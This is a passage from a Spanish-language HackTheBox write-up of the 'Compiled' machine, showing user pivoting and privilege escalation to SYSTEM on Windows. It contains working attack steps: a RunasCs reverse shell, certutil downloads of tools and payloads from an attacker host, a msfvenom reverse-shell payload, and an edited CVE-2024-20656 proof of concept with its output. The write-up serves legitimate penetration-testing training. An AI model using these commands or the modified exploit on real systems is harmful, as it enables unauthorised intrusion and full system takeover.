1PS C:\Windows\temp\work> .\runascs.exe emily 12345678 cmd.exe -r 10.10.14.71:443
2
3[+] Running in session 0 with process function CreateProcessWithLogonW()
4[+] Using Station\Desktop: Service-0x0-24db497$\Default
5[+] Async process 'C:\Windows\system32\cmd.exe' with pid 3632 created in background.
Y conseguimos la shell como emily
y la flag que está en C:\Users\Emily\Desktop\user.txt
.
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.71] from (UNKNOWN) [10.129.255.250] 51697
4Microsoft Windows [Version 10.0.19045.4651]
5(c) Microsoft Corporation. All rights reserved.
6
7C:\Windows\system32>whoami
8whoami
9compiled\emily
Privilege Escalation
Ahora, me paso el winpeas.exe
para ejecutarlo como el usuario Emily
.
1C:\Users\Emily\Desktop>certutil.exe -urlcache -f http://10.10.14.71:8000/winpeas.exe winpeas.exe
2certutil.exe -urlcache -f http://10.10.14.71:8000/winpeas.exe winpeas.exe
3**** Online ****
4CertUtil: -URLCache command completed successfully.
Encontramos lo siguiente.
��������� Found NFS Exports Files
File: C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Common7\IDE\CommonExtensions\Microsoft\Web\Exports
He necesitado ver una pista para conseguir la escalada…
Si ejecutamos powershell Get-Service
, detectaremos la presencia de un servicio llamado VSStandardCollectorService150
No quiero entrar en detalles de este exploit pero este artículo lo explica perfectamente.
Vamos a descargarnos este PoC
Al principio de main.cpp
vemos esta línea de código.
1#include "def.h"
2
3WCHAR cmd[] = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";
Tenemos que cambiarla por la versión de Visual Studio de la máquina víctima.
1C:\Program Files (x86)\Microsoft Visual Studio>dir
2dir
3 Volume in drive C has no label.
4 Volume Serial Number is 352B-98C6
5
6 Directory of C:\Program Files (x86)\Microsoft Visual Studio
7
801/20/2024 11:13 AM <DIR> .
901/20/2024 11:13 AM <DIR> ..
1001/29/2024 10:07 PM <DIR> 2019
1101/20/2024 02:57 AM <DIR> Installer
1201/20/2024 03:04 AM <DIR> Shared
13 0 File(s) 0 bytes
14 5 Dir(s) 10,079,305,728 bytes free
Entonces lo cambiamos…
WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";
Luego, tenemos la función cb1
1void cb1()
2{
3 printf("[*] Oplock!\n");
4 while (!Move(hFile2)) {}
5 printf("[+] File moved!\n");
6 CopyFile(L"c:\\windows\\system32\\cmd.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
7 finished = TRUE;
8}
Esta función es la responsable de copiar un archivo hasta que la instrucción de mover un archivo anterior sea satisfactoria, por lo cual, podemos modificar esta función para copiar nuestra reverse shell en vez de ejecutar cmd.exe
Modificamos la línea…
CopyFile(L"c:\\windows\\temp\\shell.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);
Ahora vamos a compilar el exploit.
Importante hacerlo en el modo Release
y no Debug
Nos descargamos el exploit en la máquina víctima
1C:\Windows\Temp>certutil.exe -urlcache -f -split http://10.10.14.71:8000/Expl.exe Expl.exe
2certutil.exe -urlcache -f -split http://10.10.14.71:8000/Expl.exe Expl.exe
3**** Online ****
4 000000 ...
5 029000
6CertUtil: -URLCache command completed successfully.
Generamos con msfvenom
la reverse shell.
1$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.71 LPORT=443 -f exe -o shell.exe
2[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
3[-] No arch selected, selecting arch: x64 from the payload
4No encoder specified, outputting raw payload
5Payload size: 460 bytes
6Final size of exe file: 7168 bytes
7Saved as: shell.exe
Nos lo descargamos en la máquina víctima
1C:\Windows\Temp>certutil.exe -urlcache -f -split http://10.10.14.71:8000/shell.exe shell.exe
2certutil.exe -urlcache -f -split http://10.10.14.71:8000/shell.exe shell.exe
3**** Online ****
4 0000 ...
5 1c00
6CertUtil: -URLCache command completed successfully.
Nos ponemos en escucha con netcat
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
Ejecutamos el exploit…
1C:\Windows\Temp>.\Expl.exe
2.\Expl.exe
3[+] Junction \\?\C:\307146c8-446d-4e27-989d-f86f0c401466 -> \??\C:\dbb62632-3557-4fa5-857a-f8f680171122 created!
4[+] Symlink Global\GLOBALROOT\RPC Control\Report.0197E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata created!
5[+] Junction \\?\C:\307146c8-446d-4e27-989d-f86f0c401466 -> \RPC Control created!
6[+] Junction \\?\C:\307146c8-446d-4e27-989d-f86f0c401466 -> \??\C:\dbb62632-3557-4fa5-857a-f8f680171122 created!
7[+] Symlink Global\GLOBALROOT\RPC Control\Report.0297E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata\Microsoft created!
8[+] Junction \\?\C:\307146c8-446d-4e27-989d-f86f0c401466 -> \RPC Control created!
9[+] Persmissions successfully reseted!
10[*] Starting WMI installer.
11[*] Command to execute: C:\windows\system32\msiexec.exe /fa C:\windows\installer\8ad86.msi
12[*] Oplock!
13[+] File moved!
¡Y ya hemos escalado privilegios!
1$ sudo rlwrap -cEr nc -lvnp 443
2listening on [any] 443 ...
3connect to [10.10.14.71] from (UNKNOWN) [10.129.255.250] 51726
4Microsoft Windows [Versi�n 10.0.19045.4651]
5(c) Microsoft Corporation. Todos los derechos reservados.
6
7C:\ProgramData\Microsoft\VisualStudio\SetupWMI>whoami
8whoami
9nt authority\system
Máquina que sinceramente ha sido muy tediosa, y la mejor parte en mi opinión es lo que he aprendido de Git, la escalada de privilegios para mí ha sido un poco bastante tediosa para ser una máquina de dificultad media.
Happy Hacking! 🚀
#HackTheBox #Compiled #Writeup #Cybersecurity #Penetration Testing #CTF #Gitea #Command Injection #Exploit Development #Privilege Escalation #Exploit #Windows #HTTP Enumeration #Information Disclosure #Weaponizing Visual Studio Project #CVE-2024-32002 #RCE #Pbkdf2 Hash Cracking #Scripting #Python Scripting #Gitea Bruteforce #User Pivoting #VSStandardCollectorService150 Service #CVE-2024-20656